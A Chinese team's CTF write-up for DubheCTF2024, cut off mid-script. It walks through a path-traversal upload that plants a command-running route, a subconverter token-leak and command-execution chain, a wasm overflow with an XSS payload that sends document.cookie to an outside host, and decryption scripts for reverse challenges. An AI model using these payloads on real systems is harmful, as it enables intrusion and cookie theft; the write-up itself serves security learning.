本次 DubheCTF2024,我们Polaris战队排名第11。

排名 队伍 总分
11 星盟ctf战队 6082.57
12 Lilac 5888.04
13 0xFFF_ 5861.78
14 Vidar-Team 5548.11
15 Nepnep 4673.94
16 AuroraSZU 3765
17 0RAYS 3575
18 USTC-NEBULA 3165
19 Dawn 3091.06
20 ukfc 2764

Web

Wecat

存在任意文件上传

image-20240316134938339

覆盖router.js和上传shell.js实现获取flag

注册

POST /wechatAPI/sign/success HTTP/1.1
Host: 1.95.54.149:port
Origin: http://192.168.0.105:8088
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Accept: application/json, text/plain, */*
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Referer: http://192.168.0.105:8088/emailCheck
Accept-Encoding: gzip, deflate
Content-Length: 115

{"email":"test@qq.com","nickName":"a","trueName":"a","pwd":"xxxx","avatar":"/img/ginger-cat-713.7c864d1a.png"}

登录获取token

POST /wechatAPI/login/pwd HTTP/1.1
Host: 1.95.54.149:port
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Referer: http://192.168.0.105:8088/login
Accept-Encoding: gzip, deflate
Content-Type: application/json
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Origin: http://192.168.0.105:8088
Content-Length: 41

{"email":"test@qq.com","pwd":"xxxx"}

上传文件

POST /wechatAPI/upload/once HTTP/1.1
Host: 1.95.54.149:port
Authorization: token
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaU8LLb8R1nfXBq68
Referer: http://192.168.0.105:8088/home
Origin: http://192.168.0.105:8088
Content-Length: 2400554

------WebKitFormBoundaryaU8LLb8R1nfXBq68
Content-Disposition: form-data; name="file"; filename="aaa.js"
Content-Type: image/png

const router = require('@koa/router')()
router.get('/wechatAPI/test/shell', async (ctx) => {
    const {
        cmd
    } = ctx.request.body
    let resp = require('child_process').execSync("/readflag").toString()
    ctx.body = {
        resp
    }
})
module.exports = router.routes()


------WebKitFormBoundaryaU8LLb8R1nfXBq68
Content-Disposition: form-data; name="name"

avatar.js
------WebKitFormBoundaryaU8LLb8R1nfXBq68
Content-Disposition: form-data; name="hash"

9f48e2ca00d50f12af64629d346064b0
------WebKitFormBoundaryaU8LLb8R1nfXBq68
Content-Disposition: form-data; name="postfix"

js/../../../../app/src/route/shell.js
------WebKitFormBoundaryaU8LLb8R1nfXBq68--
POST /wechatAPI/upload/once HTTP/1.1
Host: 1.95.54.149:port
Authorization: token
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaU8LLb8R1nfXBq68
Referer: http://192.168.0.105:8088/home
Origin: http://192.168.0.105:8088
Content-Length: 2400554

------WebKitFormBoundaryaU8LLb8R1nfXBq68
Content-Disposition: form-data; name="file"; filename="aaa.js"
Content-Type: image/png

const router = require('@koa/router')()
const commonRouter = require('./commonRouter')
const routeAdmin = require('./admin')
const routeLogin = require('./login')
const routeUpload = require('./upload')
const shell = require('./shell')
router
  .use(routeLogin)
  .use(commonRouter)
  .use(routeUpload)
  .use(routeAdmin)
    .use(shell)

module.exports = router

------WebKitFormBoundaryaU8LLb8R1nfXBq68
Content-Disposition: form-data; name="name"

avatar.js
------WebKitFormBoundaryaU8LLb8R1nfXBq68
Content-Disposition: form-data; name="hash"

9f48e2ca00d50f12af64629d346064b0
------WebKitFormBoundaryaU8LLb8R1nfXBq68
Content-Disposition: form-data; name="postfix"

js/../../../../app/src/route/router.js
------WebKitFormBoundaryaU8LLb8R1nfXBq68--

访问路由获取flag

image-20240316135155498

Master of Profile

题目描述:

This is a 0-day challenge. I reported this 0day to the official but got nothing reply. So I decided to open this challenge to the public.
I believe it is easy for you to get RCE on the latest subconverter
You can easily open an instance using following command

还是个小0day 不过无所谓 给了源码我们审就完事了

通过信息搜集 我们找到了https://cn-sec.com/archives/2105254.html这篇文章

跟着这篇文章的思路可以看见/qx-script和/convert这两个读取配置文件的接口被删了 但执行命令的script:还在 所以我们还是打这个洞 但得去找个别的路获取token

图片.png

图片.png

我们注意找个路由 然后全局搜索renderTemplate函数

图片.png

发现在这个文件里定义函数 就是通过path参数访问文件 那我们想一下 是否可以存在任意文件读取漏洞 去读pref配置文件呢

图片.png

可以看出pref.ini被转化成yaml 就是pref.yml文件 我们传入 /render?path=pref.yml 即可读取了配置信息token

(忘记截图了 就是重要的可以知道token 然后APIMode为false cache为false 貌似我们打不了cache漏洞了

但我们可以通过updateconf修改配置文件

图片.png

https://github.com/tindy2013/subconverter/blob/master/README-docker.md

我们可以通过form和direct实现上传

common:
  api_mode: true
  api_access_token: password
  default_url: []
  enable_insert: true
  insert_url: []
  prepend_insert_url: true
  exclude_remarks: ["(到期|剩余流量|时间|官网|产品|平台)"]
  include_remarks: []
  enable_filter: false
  filter_script: ""
  default_external_config: "" # config/example_external_config.yml
  base_path: base
  clash_rule_base: base/all_base.tpl
  surge_rule_base: base/all_base.tpl
  surfboard_rule_base: base/all_base.tpl
  mellow_rule_base: base/all_base.tpl
  quan_rule_base: base/all_base.tpl
  quanx_rule_base: base/all_base.tpl
  loon_rule_base: base/all_base.tpl
  sssub_rule_base: base/all_base.tpl
  singbox_rule_base: base/all_base.tpl
  proxy_config: SYSTEM
  proxy_ruleset: SYSTEM
  proxy_subscription: NONE
  append_proxy_type: false
  reload_conf_on_request: false

userinfo:
  stream_rule: 
  - {match: "^剩余流量:(.*?)\\|总流量:(.*)$", replace: "total=$2&left=$1"}
  - {match: "^剩余流量:(.*?) (.*)$", replace: "total=$1&left=$2"}
  - {match: "^Bandwidth: (.*?)/(.*)$", replace: "used=$1&total=$2"}
  - {match: "^.*剩余(.*?)(?:\\s*?)@(?:.*)$", replace: "total=$1"}
  - {match: "^.*?流量:(.*?) 剩:(?:.*)$", replace: "total=$1"}
  time_rule:
  - {match: "^过期时间:(\\d+)-(\\d+)-(\\d+) (\\d+):(\\d+):(\\d+)$", replace: "$1:$2:$3:$4:$5:$6"}
  - {match: "^到期时间(:|:)(\\d+)-(\\d+)-(\\d+)$", replace: "$1:$2:$3:0:0:0"}
  - {match: "^Smart Access expire: (\\d+)/(\\d+)/(\\d+)$", replace: "$1:$2:$3:0:0:0"}
  - {match: "^.*?流量:(?:.*?) 剩:(.*?)天$", replace: "left=$1d"}

node_pref:
#  udp_flag: false
#  tcp_fast_open_flag: false
#  skip_cert_verify_flag: false
#  tls13_flag: false
  sort_flag: false
  sort_script: ""
  filter_deprecated_nodes: false
  append_sub_userinfo: true
  clash_use_new_field_name: true
  clash_proxies_style: flow
  singbox_add_clash_modes: true
  rename_node:
#  - {match: "\\(?((x|X)?(\\d+)(\\.?\\d+)?)((\\s?倍率?)|(x|X))\\)?", replace: "$1x"}
#  - {script: "function rename(node){}"}
#  - {script: "path:/path/to/script.js"}
  - {import: snippets/rename_node.txt}

managed_config:
  write_managed_config: true
  managed_config_prefix: "http://127.0.0.1:25500"
  config_update_interval: 86400
  config_update_strict: false
  quanx_device_id: ""

surge_external_proxy:
  surge_ssr_path: "" # /usr/bin/ssr-local
  resolve_hostname: true

emojis:
  add_emoji: true
  remove_old_emoji: true
  rules:
#  - {match: "(流量|时间|应急)", emoji: "🏳️‍🌈"}
#  - {script: "function getEmoji(node){}"}
#  - {script: "path:/path/to/script.js"}
  - {import: snippets/emoji.txt}

rulesets:
  enabled: true
  overwrite_original_rules: false
  update_ruleset_on_request: false
  rulesets:
#  - {rule: "GEOIP,CN", group: "DIRECT"}
#  - {ruleset: "rules/LocalAreaNetwork.list", group: "DIRECT"}
#  - {ruleset: "surge:rules/LocalAreaNetwork.list", group: "DIRECT"}
#  - {ruleset: "quanx:https://raw.githubusercontent.com/ConnersHua/Profiles/master/Quantumult/X/Filter/Advertising.list", group: "Advertising", interval: 86400}
#  - {ruleset: "clash-domain:https://ruleset.dev/clash_domestic_services_domains", group: "Domestic Services", interval: 86400}
#  - {ruleset: "clash-ipcidr:https://ruleset.dev/clash_domestic_services_ips", group: "Domestic Services", interval: 86400}
#  - {ruleset: "clash-classic:https://raw.githubusercontent.com/DivineEngine/Profiles/master/Clash/RuleSet/China.yaml", group: "DIRECT", interval: 86400}
  - {import: snippets/rulesets.txt}

proxy_groups:
  custom_proxy_group:
#  - {name: UrlTest, type: url-test, rule: [".*"], url: http://www.gstatic.com/generate_204, interval: 300, tolerance: 100, timeout: 5}
#  - {name: Proxy, type: select, rule: [".*"]}
#  - {name: group1, type: select, rule: ["!!GROUPID=0"]}
#  - {name: v2ray, type: select, rule: ["!!GROUP=V2RayProvider"]}
#  - {import: snippets/groups_forcerule.txt}
#  - {name: ssid group, type: ssid, rule: ["default_group", "celluar=group0,ssid1=group1,ssid2=group2"]}
  - {import: snippets/groups.txt}

template:
  template_path: ""
  globals:
  - {key: clash.http_port, value: 7890}
  - {key: clash.socks_port, value: 7891}
  - {key: clash.allow_lan, value: true}
  - {key: clash.log_level, value: info}
  - {key: singbox.allow_lan, value: true}
  - {key: singbox.mixed_port, value: 2080}
  
aliases:
  - {uri: /v, target: /version}
  - {uri: /clash, target: "/sub?target=clash"}
  - {uri: /clashr, target: "/sub?target=clashr"}
  - {uri: /surge, target: "/sub?target=surge"}
  - {uri: /quan, target: "/sub?target=quan"}
  - {uri: /quanx, target: "/sub?target=quanx"}
  - {uri: /mellow, target: "/sub?target=mellow"}
  - {uri: /surfboard, target: "/sub?target=surfboard"}
  - {uri: /loon, target: "/sub?target=loon"}
  - {uri: /singbox, target: "/sub?target=singbox"}
  - {uri: /ss, target: "/sub?target=ss"}
  - {uri: /ssd, target: "/sub?target=ssd"}
  - {uri: /sssub, target: "/sub?target=sssub"}
  - {uri: /ssr, target: "/sub?target=ssr"}
  - {uri: /v2ray, target: "/sub?target=v2ray"}
  - {uri: /trojan, target: "/sub?target=trojan"}

tasks:
#  - name: tick
#    cronexp: "0/10 * * * * ?"
#    path: tick.js
#    timeout: 3

server:
  listen: 0.0.0.0
  port: 25500
  serve_file_root: ""

advanced:
  log_level: info
  print_debug_info: false
  max_pending_connections: 10240
  max_concurrent_threads: 2
  max_allowed_rulesets: 0
  max_allowed_rules: 0
  max_allowed_download_size: 0
  enable_cache: true
  cache_subscription: 60
  cache_config: 300
  cache_ruleset: 21600
  script_clean_context: true
  async_fetch_ruleset: false
  skip_failed_links: false

这是要更新的配置文件 我们替换

curl -F "data=@pref.yml" http://localhost:25500/updateconf?type=form\&token=password

01e0b71fbd3f2badc5ce4518ff9c3083.JPG

然后我们的cache就被改写是true 接下来我们跟着原来的思路打就行了

vps写入命令

YQHC@M_OXDZR.png

render?path=cache/109b1096e966b911ea781d352f696c80

9034beed4f90e72d3632657bf8221c18.JPG

发现我们的命令成功写入缓存 接下来就是

sub?target=clash&token=password&url=cache/109b1096e966b911ea781d352f696c80

然后访问cache/1

8a952740db088174e16247ecaa51851c.JPG

发现命令执行结果被带上去了

同理获得flag就行

FYL$7)9SP4NBE`UR{S`Q@QN.png

8764a6b8c14274544b958d7551d540b3.JPG

emmm题目环境并没有bash 导致一致以为我的payload哪有问题,,,一直想弹shell 一直谈不上,,,, 我真的傻逼 浪费了好多时间。。。。。。。

还有一种思路就是直接覆盖 pref.yml 不过由于这是配置文件 改了就报废了 所以一次环境十分钟只能执行一次命令。所以我建议还是走打cache的路子。。。

Fastest Encoder

首先在浏览器发现奇怪的代码,查了一下是wasm

image.png

image.png

我们把程序下下来,根据相关文献描述这个可读的格式是wast,需要转为wasm才能分析。

image.png

image.png

发现wasm2c或者是wasm-decomplier生成的代码可读性都很差,咨询逆向师傅使用graphi结合wasm插件查看。

分析后通过ABCDEFG字典找到base64算法,此处我已经把未命名的函数重新命名。

image.png

确认base64是在wasm虚拟机中实现的。寻找wasm与js的交互方式。

发现是react构建的js页面。

image.png

根据wasm源文件找到wasm runtime创建处。

image.png

image.png

确定了输入输出,一个是_一个是j

_ = it=>et.FastBase64(it, 0),
j = it=>et.FastBase64(it, 1),

结合上下文可以猜测d是输出的渲染函数,可以知道如果报错了就不会输出base64加密后的字符串。

image.png

输入2000个0,用js在控制台生成,’0’.repeat(2000),输入后果然没有显示。

image.png

我们确定了字符串的渲染是函数d完成的,来考察xss。

image.png

image.png

可以确定渲染的位置实质上是变量h。

确认了渲染的全部流程。

image.png

我们来考察react的xss防御。

image.png

不存在拼接,所以绕不过react内置的xss防御。

转换思路研究wasm。

image.png

发现wasm里面执行函数也是可以改变前端的。

阅读文献发现,wasm跟传统的汇编语言不同,代码和数据分离,维持一个程序代码栈和数据栈,所以无法直接劫持函数指针RIP。

论文指出wasm有三种漏洞形式。

(i) obtaining a write primitive, i.e., the ability to write memory locations in violation of sourcelevel semantics; (ii) overwriting security-relevant data, e.g., constants or data on the stack and heap; and (iii) triggering a malicious action by diverging control flow or manipulating the host environment.

(i) 获得写入原语,即违反源级语义写入存储器位置的能力;(ii)重写与安全相关的数据,例如堆栈和堆上的常数或数据;以及(iii)通过分散控制流或操纵主机环境来触发恶意动作。

之前超长字符的报错提示其实是溢出点,来到相关代码段。

image.png

image.png

根据helloworld解读,判断代码功能。

image.png

载入1008大小的内存到$var15上。

根据wasm线性内存特点确定内存溢出方向,往高地址溢出。

image.png

但是劫持不了EIP溢出有什么用呢?

wasm增加安全特性
by strictly separating code and data, enforcing types, and limiting indirect control flow,
通过严格分离代码和数据,强制类型,并限制间接控制流

溢出根本不能影响RIP。

了解第三种漏洞类型劫持程序控制流,文献提到wasm将函数写入一个表,通过表索引调用函数,而表索引来自于栈上,所以可以改变该数据篡改调用流程。

大概原理就是call_indirect指令调用时会从栈上读取函数表的索引,fuzz测出js执行函数在3的位置,然后var15覆盖了最上面的索引。

调试确定栈上情况,构造payload成功执行。

image.png

let cmd = 'document.location.href="http://vps-ip:port/?x="+document.cookie;alert(1);//';
let padding = '%02'.repeat(1008 - cmd.length);
let tableIndex = '%03';
let isValid = (cmd + decodeURIComponent(padding) + decodeURIComponent(tableIndex)).length == 1008 + 1;
if(isValid){
  console.log(encodeURIComponent(cmd) + padding + tableIndex);
}else {
  console.log('Wrong calculation again...')
}

image.png

Reverse

Destination

反调试很多,这里x64dbg插件过了

这里直接x64dbg trace

trace完使用下面脚本过滤掉花指令混淆的东西

with open('./log_1.txt','rb+') as f:
    for line_1 in f:
        if b"call" in line_1 or b"[esp" in line_1 or b"je" in line_1 or b"ret" in line_1 or b"jmp" in line_1 or b"jne" in line_1:
            pass
        else:
            print(line_1)

image.png

push ebp                    
push ebp                    
mov ebp,esp                 
sub esp,10C                 
push ebx                    
push esi                    
push edi                    
mov dword ptr ss:[ebp-8],32 
mov dword ptr ss:[ebp-44],0 
mov eax,4                   
imul ecx,eax,B              
mov edx,dword ptr ds:[ecx+4234
mov dword ptr ss:[ebp-38],edx 
mov eax,dword ptr ss:[ebp-44] 
sub eax,5B4B9F9E            
mov dword ptr ss:[ebp-44],eax 
mov eax,dword ptr ss:[ebp-44] 
shr eax,2                   
and eax,3                   
mov dword ptr ss:[ebp-20],eax 
mov dword ptr ss:[ebp-14],0 
cmp dword ptr ss:[ebp-14],B 
jae destination.416302      
mov eax,dword ptr ss:[ebp-14] 
mov ecx,dword ptr ds:[eax*4+42
mov dword ptr ss:[ebp-2C],ecx 
mov eax,dword ptr ss:[ebp-38] 
shr eax,5                   
mov ecx,dword ptr ss:[ebp-2C] 
shl ecx,2                   
xor eax,ecx                 
mov edx,dword ptr ss:[ebp-2C] 
shr edx,3                   
mov ecx,dword ptr ss:[ebp-38] 
shl ecx,4                   
xor edx,ecx                 
add eax,edx                 
mov edx,dword ptr ss:[ebp-44] 
xor edx,dword ptr ss:[ebp-2C] 
mov ecx,dword ptr ss:[ebp-14] 
and ecx,3                   
xor ecx,dword ptr ss:[ebp-20] 
mov ecx,dword ptr ds:[ecx*4+42
xor ecx,dword ptr ss:[ebp-38] 
add edx,ecx                 
xor eax,edx                 
mov edx,dword ptr ss:[ebp-14] 
mov ecx,dword ptr ds:[edx*4+42
add ecx,eax                 
mov dword ptr ss:[ebp-10C],ecx
mov edx,dword ptr ss:[ebp-14] 
mov eax,dword ptr ss:[ebp-10C]
mov dword ptr ds:[edx*4+4234A8
mov ecx,dword ptr ss:[ebp-10C]
mov dword ptr ss:[ebp-38],ecx 
mov eax,dword ptr ss:[ebp-14] 
add eax,1                   
mov dword ptr ss:[ebp-14],eax 
cmp dword ptr ss:[ebp-14],B 
jae destination.416302

调试多次后还原出代码

void btea(uint32_t* v, int n, uint32_t  key[4], unsigned round1)
{
    uint32_t y, z, sum;
    unsigned p, rounds, e;
    if (n > 1)            /* Coding Part */
    {
        rounds = round1;
        sum = 0;
        z = v[n - 1];
        do
        {
            sum -= DELTA;
            e = (sum >> 2) & 3;
            for (p = 0; p < 0xB; p++)
            {
                y = v[p+1];
                z = v[p] += MX;
              

            }
            y = v[0];
            z = v[n - 1] += MX;

        } while (--rounds);
     
    }
    else if (n < -1)      /* Decoding Part */
    {
        n = -n;
        rounds = round1;
        sum = 0-rounds * DELTA;
        y = v[0];
        do
        {
            e = (sum >> 2) & 3;
            for (p = 0xB; p > 0; p--)
            {
                z = v[p - 1];
                y = v[p] -= MX;
            }
            z = v[n - 1];
            y = v[0] -= MX;
            sum += DELTA;
        } while (--rounds);
    }
}

后面有个类似crc校验的,参考2023安*杯 pe这题

void fdec()
{
    uint32_t dq_key = 0x84A6972F;
    BYTE flag[60] = {
          0xD6, 0xFA, 0x90, 0xA7, 0x77, 0xA2, 0xC8, 0xE8, 0xFA, 0x84,
  0x03, 0xCF, 0xD7, 0x7F, 0x6C, 0x2E, 0x8B, 0x96, 0x33, 0x6D,
  0x27, 0xC2, 0x57, 0x5B, 0x5E, 0xA6, 0x3C, 0x65, 0xFC, 0xF1,
  0xC6, 0x85, 0x77, 0x25, 0xF3, 0xE1, 0x76, 0xAE, 0xD7, 0xD4,
  0xC4, 0x6D, 0xAF, 0x3F, 0x8C, 0x9D, 0x59, 0x0D
    }; //密文
    uint32_t p;
    int j, i;
    for (i = 0; i < 12; i++)
    {
        p = *((uint32_t*)&flag[i * 4]);
        for (j = 0; j < 32; j++)
        {
            if (p & 1) 
            {
                p = ((uint32_t)p ^ dq_key) >> 1; 
                p |= 0x80000000;

            }
            else
            {
                p = ( uint32_t)p >> 1; 
            }
        }
        *((uint32_t*)&flag[i * 4]) = p; 
    }
    for (i = 0; i < 48; i++)
        printf("0x%x,", flag[i]&0xff);
    printf("\n");
    return;
}
#include<stdio.h>
#include"defs.h"
#include <stdio.h>
#include <stdint.h>
#define DELTA 0x5B4B9F9E
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))

void btea(uint32_t* v, int n, uint32_t  key[4], unsigned round1)
{
    uint32_t y, z, sum;
    unsigned p, rounds, e;
    if (n > 1)            /* Coding Part */
    {
        rounds = round1;
        sum = 0;
        z = v[n - 1];
        do
        {
            sum -= DELTA;
            e = (sum >> 2) & 3;
            for (p = 0; p < 0xB; p++)
            {
                y = v[p+1];
                z = v[p] += MX;
              

            }
            y = v[0];
            z = v[n - 1] += MX;

        } while (--rounds);
     
    }
    else if (n < -1)      /* Decoding Part */
    {
        n = -n;
        rounds = round1;
        sum = 0-rounds * DELTA;
        y = v[0];
        do
        {
            e = (sum >> 2) & 3;
            for (p = 0xB; p > 0; p--)
            {
                z = v[p - 1];
                y = v[p] -= MX;
            }
            z = v[n - 1];
            y = v[0] -= MX;
            sum += DELTA;
        } while (--rounds);
    }
}
void fdec();
uint32_t* v;
void sub_413F60();
int main()
{
   //char input[48] = "111122223333444411112222333344441111222233334";
  // char input[] = { 11, 66, 240, 167, 71, 165, 248, 92, 23, 156, 242, 251, 202, 117, 10, 70, 137, 29, 188, 160, 72, 21, 241, 155, 18, 30, 227, 231, 98, 202, 36, 85, 187, 59, 61, 194, 117, 10, 164, 238, 113, 244, 219, 55, 208, 81, 47, 133 };

    char input[] = { 0x43,0x95,0x54,0x9e,0x48,0xb3,0x7c,0x5e,0x2f,0x4a,0xa8,0xd9,0xde,0x99,0xeb,0x85,0x84,0x58,0x82,0xb6,0xa1,0x4e,0xf7,0xc4,0x8a,0x82,0xb1,0x22,0x96,0x72,0xd,0x29,0x73,0xe4,0x8e,0x19,0x29,0xb5,0x55,0x96,0x6a,0x19,0xac,0x38,0x36,0x62,0x2b,0x19, 0};
    uint32_t v1[]={ 2293840806, 3409349342, 3028656766, 2246810078, 3061995652, 3304541857, 582058634, 3885371053, 4144997605, 2405989420, 950802794, 422273590 };
    v=(uint32_t*)& input;
    unsigned int key[4] = {
    0x6B0E7A6B, 0xD13011EE, 0xA7E12C6D, 0xC199ACA6
    };
    int n = 12; 
    btea(v,-n, key,50);

    btea(v, -n, key, 50);
    puts((char*)v);
    //sub_413F60();
    // fdec();
    return 0;
}

void sub_413F60()
{
    char data[] = { 11, 66, 240, 167, 71, 165, 248, 92, 23, 156, 242, 251, 202, 117, 10, 70, 137, 29, 188, 160, 72, 21, 241, 155, 18, 30, 227, 231, 98, 202, 36, 85, 187, 59, 61, 194, 117, 10, 164, 238, 113, 244, 219, 55, 208, 81, 47, 133 };
    uint32_t* s=(uint32_t*)&data;
    uint32_t tmp = 0x84A6972F;
    for (int i = 0; i < 12; i++)
    {
        uint32_t  input_1 = s[i];
        for (int j = 0; j < 32; j++)
        {
            uint32_t v1 = input_1;
            v1 <<= 1;
            if (input_1 < 0)
            { 
                input_1 = tmp ^ v1;
            }
            else{
                input_1 = v1;
            }
          
        }
        printf("%x\n", input_1);
    }
}
void fdec()
{
    uint32_t dq_key = 0x84A6972F;
    BYTE flag[60] = {
          0xD6, 0xFA, 0x90, 0xA7, 0x77, 0xA2, 0xC8, 0xE8, 0xFA, 0x84,
  0x03, 0xCF, 0xD7, 0x7F, 0x6C, 0x2E, 0x8B, 0x96, 0x33, 0x6D,
  0x27, 0xC2, 0x57, 0x5B, 0x5E, 0xA6, 0x3C, 0x65, 0xFC, 0xF1,
  0xC6, 0x85, 0x77, 0x25, 0xF3, 0xE1, 0x76, 0xAE, 0xD7, 0xD4,
  0xC4, 0x6D, 0xAF, 0x3F, 0x8C, 0x9D, 0x59, 0x0D
    }; //密文
    uint32_t p;
    int j, i;
    for (i = 0; i < 12; i++)
    {
        p = *((uint32_t*)&flag[i * 4]); 
        for (j = 0; j < 32; j++)
        {
            if (p & 1) 
            {
                p = ((uint32_t)p ^ dq_key) >> 1; 
                p |= 0x80000000;

            }
            else
            {
                p = ( uint32_t)p >> 1;
            }
        }
        *((uint32_t*)&flag[i * 4]) = p; 
    }
    for (i = 0; i < 48; i++)
        printf("0x%x,", flag[i]&0xff);
    printf("\n");
    return;
}

fragment

jadx导出工程,这里是要到Congratulations这里,

2个按钮分为向左向右走,最终走到Congratulations这里

一开始准备逆着手撸的,算了一下函数大概有800多个果断放弃

类似迷宫题

写一个脚本追踪一下路径

import os
import re
# 指定要遍历的目录路径
directory = "./java/p013II111"
good_name='sub_0.java'
bad_name=['eh0.java','q70.java']
# C0116Oo0o0 sub_0.java
start='MainActivity.java'
def read_java(name):
    java_file_path = name
    try:
        with open(java_file_path, 'rb') as file:
            return file.read();

    except FileNotFoundError:
        print("File not found.")
    except IOError:
        print("Error reading the file.")

def get_next_file_name(context):
    pattern = r", (\w+)\.class"
    x = re.findall(pattern.encode(), context)
    #print(x)
    b=[(i+b'.java').decode() for i in x]
    a_=b
    for i in range(len(b)):
        for j in range(len(b)):
            if b[i]==b[j] and i!=j:
                 a_=[]
    return a_

def get_next_road(name,path):
    for root, dirs, files in os.walk(directory):
        for file in files:
            if file.endswith(".java"):
                # 如果文件是以 .java 结尾的,则打印文件路径
                #print(file)
                if file == name:
                    x=(os.path.join(root, file).replace('\\','/'))
                    data=read_java(x)
                    name1=get_next_file_name(data)
                    for i in name1:
                        if good_name==i:
                            print('found')
                            print(path+i)
                        elif i in bad_name:
                            pass
                        else:
                            #print(path+i)
                            get_next_road(i,path+' '+i+' ')

                      

path='MainActivity.java'
              
get_next_road('MainActivity.java',path)            
found
MainActivity.java C0106Oo0o0.java  y6.java  re.java  yf.java  fh.java  mi.java  tj.java  al.java  hm.java  on.java  C0108O0ooO.java  C0095O0ooO.java  C0123o0Ooo.java  h.java  o0.java  v1.java  c3.java  j4.java  q5.java  x6.java  h8.java  o9.java  va.java  cc.java  jd.java  ee.java  he.java  ke.java  ne.java  qe.java  we.java  ze.java  cf.java  ff.java  Cif.java  lf.java  of.java  rf.java  uf.java  xf.java  dg.java  gg.java  jg.java  mg.java  pg.java  sg.java  vg.java  yg.java  bh.java  eh.java  kh.java  nh.java  qh.java  th.java  wh.java  zh.java  ci.java  fi.java  ii.java  li.java  ri.java  ui.java  xi.java  aj.java  dj.java  gj.java  jj.java  mj.java  pj.java  sj.java  yj.java  bk.java  ek.java  hk.java  kk.java  nk.java  qk.java  tk.java  wk.java  zk.java  fl.java  C0121il.java  ll.java  ol.java  rl.java  ul.java  xl.java  am.java  dm.java  gm.java  mm.java  pm.java  sm.java  vm.java  ym.java  bn.java  en.java  hn.java  kn.java  nn.java  C0101OoOOO.java  C0107O0OOo.java  C0115OoOoo.java  C0092Il1.java  C0125oo00O.java  C0149ooO00.java  C0163oOO00.java  C0128o00OO.java  C0099Ooo0O.java  I11I.java  I11.java  C0116Ooo00.java  C0100O0O0o.java  C0096OOoOo.java  Il111.java  II1l.java  C0119O0OoO.java  C0134oOo0o.java  C0154oOo0O.java  C0131ooOoo.java  IlIl.java  l1lI.java  I111.java  C0143oooo0.java  lIII.java  C0152oo0o0.java  C0160oOooo.java  O0000.java  C0150o0O0o.java  C0111OO00O.java  lll.java  C0097OooOo.java  ll1I.java  oO000.java  C0144oOo0o.java  C0148oOOO0.java  C0142oooOo.java  a.java  d.java  g.java  m.java  p.java  s.java  v.java  y.java  b0.java  e0.java  h0.java  k0.java  n0.java  t0.java  w0.java  z0.java  c1.java  f1.java  i1.java  l1.java  o1.java  r1.java  u1.java  a2.java  d2.java  g2.java  j2.java  m2.java  p2.java  s2.java  v2.java  y2.java  b3.java  h3.java  k3.java  n3.java  q3.java  t3.java  w3.java  z3.java  c4.java  f4.java  i4.java  o4.java  r4.java  u4.java  x4.java  a5.java  d5.java  g5.java  j5.java  m5.java  p5.java  v5.java  y5.java  b6.java  e6.java  h6.java  k6.java  n6.java  q6.java  t6.java  w6.java  f7.java  i7.java  l7.java  o7.java  r7.java  u7.java  x7.java  a8.java  d8.java  g8.java  m8.java  p8.java  s8.java  v8.java  y8.java  b9.java  e9.java  h9.java  k9.java  n9.java  t9.java  w9.java  z9.java  ca.java  fa.java  ia.java  sub33.java  sub32.java  sub31.java  sub30.java  sub29.java  sub28.java  sub27.java  sub26.java  sub25.java  sub24.java  sub23.java  sub22.java  sub21.java  sub20.java  sub19.java  sub18.java  sub17.java  sub16.java  sub15.java  sub14.java  sub13.java  sub12.java  sub11.java  sub10.java  sub8.java  sub7.java  sub5.java  sub4.java  sub3.java  sub_1.java sub_0.java
import os
import re
# 指定要遍历的目录路径
directory = "./java/p013II111"
call_list=['MainActivity.java', 'C0106Oo0o0.java', 'y6.java', 're.java', 'yf.java', 'fh.java', 'mi.java', 'tj.java', 'al.java', 'hm.java', 'on.java', 'C0108O0ooO.java', 'C0095O0ooO.java', 'C0123o0Ooo.java', 'h.java', 'o0.java', 'v1.java', 'c3.java', 'j4.java', 'q5.java', 'x6.java', 'h8.java', 'o9.java', 'va.java', 'cc.java', 'jd.java', 'ee.java', 'he.java', 'ke.java', 'ne.java', 'qe.java', 'we.java', 'ze.java', 'cf.java', 'ff.java', 'Cif.java', 'lf.java', 'of.java', 'rf.java', 'uf.java', 'xf.java', 'dg.java', 'gg.java', 'jg.java', 'mg.java', 'pg.java', 'sg.java', 'vg.java', 'yg.java', 'bh.java', 'eh.java', 'kh.java', 'nh.java', 'qh.java', 'th.java', 'wh.java', 'zh.java', 'ci.java', 'fi.java', 'ii.java', 'li.java', 'ri.java', 'ui.java', 'xi.java', 'aj.java', 'dj.java', 'gj.java', 'jj.java', 'mj.java', 'pj.java', 'sj.java', 'yj.java', 'bk.java', 'ek.java', 'hk.java', 'kk.java', 'nk.java', 'qk.java', 'tk.java', 'wk.java', 'zk.java', 'fl.java', 'C0121il.java', 'll.java', 'ol.java', 'rl.java', 'ul.java', 'xl.java', 'am.java', 'dm.java', 'gm.java', 'mm.java', 'pm.java', 'sm.java', 'vm.java', 'ym.java', 'bn.java', 'en.java', 'hn.java', 'kn.java', 'nn.java', 'C0101OoOOO.java', 'C0107O0OOo.java', 'C0115OoOoo.java', 'C0092Il1.java', 'C0125oo00O.java', 'C0149ooO00.java', 'C0163oOO00.java', 'C0128o00OO.java', 'C0099Ooo0O.java', 'I11I.java', 'I11.java', 'C0116Ooo00.java', 